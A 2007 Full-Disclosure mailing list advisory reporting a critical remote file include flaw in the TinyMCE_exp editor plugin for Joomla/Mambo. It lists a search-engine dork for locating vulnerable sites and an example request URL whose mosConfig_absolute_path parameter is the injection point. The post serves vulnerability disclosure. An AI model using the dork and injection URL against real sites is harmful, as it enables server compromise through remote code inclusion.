[Full-disclosure] TinyMCE_exp Remote File Include Vulnerability

["0o_zeus_o0 elitemexico.org" <zeus.olimpusklan@gmail.com>]

###########################################################################
 TinyMCE_exp Remote File Include Vulnerability


 Author: Arturo Z.
 Contact: zeus@diosdelared.com
 Website: www.diosdelared.com
 Date: 10/03/07
 Risk: critical
 Vendor Url: 
http://www.joomlaya.com/index.php?option=com_remository&func=fileinfo&filecatid=1868
 Affected Software: TinyMCE_exp
 search: allinurl: tiny_mce


example
##################################################################

http://site.com/path/mambots/editors/path/jscripts/tiny_mce/plugins/preview/preview.php?mosConfig_absolute_path=

##################################################################
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/